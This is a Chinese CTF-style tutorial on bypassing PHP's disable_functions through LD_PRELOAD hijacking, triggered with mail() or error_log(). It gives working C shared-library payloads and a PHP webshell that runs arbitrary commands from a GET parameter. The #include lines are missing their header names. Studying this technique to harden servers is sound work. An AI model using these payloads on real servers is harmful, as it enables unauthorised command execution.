之前对php中的这个disable_function没什么了解,不过通过国赛决赛中的一道题引起了注意,因为在对基本上所有的shell命令禁用之后必须想办法突破disable_function才行,这里学习几种突破disable_function的方法。
环境搭建
ubuntu+apache2+php7.2
配置
/etc/php/7.2/apache2/php.ini
注意事项:在复现时会发现个问题,就是将shell写进tmp下的文件,读不出来不显示结果,如写一个yy文件,测试发现其实没写进去,但tmp下会多出一个类似systemd-private-6fd8249ddb434d9dbc78af925255bcd5-apache2.service-4xyy0d/tmp/这样一个文件夹,这是因为systemd服务会将的/tmp/目录重定向到另外一个目录,比如我系统里面php的tmp目录就被重定向到了 /tmp/systemd-private-6fd8249ddb434d9dbc78af925255bcd5-apache2.service-4xyy0d/tmp/,systemd服务的这个特性,是由PrivateTmp属性来设定的,可以更改PrivateTmp属性值来选择是否需要重定向。
systemd中服务的配置文件都在目录/lib/systemd/system/中,apache对应的配置文件为apache2.service,centos下对应/usr/lib/systemd/system/httpd.service
文件内容
[Service]
Type=forking
Environment=APACHE_STARTED_BY_SYSTEMD=true
ExecStart=/usr/sbin/apachectl start
ExecStop=/usr/sbin/apachectl stop
ExecReload=/usr/sbin/apachectl graceful
PrivateTmp=true
Restart=on-abort
[Install]
WantedBy=multi-user.target
将PrivateTmp=true改为false就行了。这也就说明我们在写文件的时候条件必须是一个可写可读的目录,若tmp写不进去只能想办法有没有其他可写的目录。
LD_PRELOAD是Linux系统的下一个有趣的环境变量:“它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
而php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的。
在mail函数未禁用的情况下我们可以用mail触发:
我们先禁用一些常见命令:
在/etc/php.ini中
然后测试一下:
shell.php
echo system('whoami');
?>
运行文件
会提示该函数被禁用。现在我们用上面方法突破该命令
a.c
#include
#include
#include
void payload(){
FILE*fp = fopen("/tmp/1.txt","w");
fclose(fp);
system("mv /flag /tmp/flag");
}
int geteuid(){
FILE *fp1=fopen("/tmp/1.txt","r");
if(fp1!=NULL)
{
fclose(fp1);
return 552;
}else {
payload();
return 552;
}
}
上面这是c代码,这段内容就是先写入一个文件,然后若文件存在便执行system命令,这里我们让根目录下的flag移动到tmp目录下。
然后编译我们的文件共享库
gcc -shared -fPIC a.c -o flag.so
//gcc -shared -fPIC a.c -o flag.so -m64 是64位
这样flag.so被编译好了,然后利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
通过修改环境变量LD_PRELOAD,让php启动新的进程的时候加载我们设置好的函数,比如说system()这样一来,就可以做到bypass了,mail函数可以创建新进程,只要启用了新的进程就有机会加载我们在上一个进程中构造的函数。
通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。在webshell上用mail函数发送一封邮件来触发。
test.php
现在flag是在根目录下的,
然后执行文件看是否可以成功命令执行。
执行后会发现flag不在根目录下了
这说明system命令通过mail成功触发执行。
如果mail函数也被禁用的话,还有一种方法,error_log()也能触发执行命令。
putenv("LD_PRELOAD=/var/www/flag.so");
error_log("1","1","1","")
?>
参见https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,这是大佬写的脚本,编译成共享库配合php脚本可以任意命令执行。
GCC 有个 C 语言扩展修饰符 attribute__((constructor)),可以让由它修饰的函数在 main()
之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute((constructor)) 修饰的函数
因此,可以通过这个方式来构造函数,把我们要执行的命令放在环境变量里,执行时直接加载环境变量的命令,就可以做到绕过了
#define _GNU_SOURCE
#include
#include
#include
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
将此代码编译成64位或者是32位共享库。
然后配合bypass_disablefunc.p脚本执行命令。
echo " example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo " cmdline: "
. $evil_cmdline . "";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("message", "", "", "");
echo " output:
"
. nl2br(file_get_contents($out_path)) . "";
unlink($out_path);
?>
这里我简单测试了一下看是否可以。
直接将命令参数赋值在脚本里,当然执行脚本存在的问题就是我们必须对out_path这个参数指定的路径是可写可读的,成功运用此方法的前提是该网站或者其他应用程序存在上传漏洞或者有其他后门能让我们成功上传shell文件。
然后执行下文件看是否可以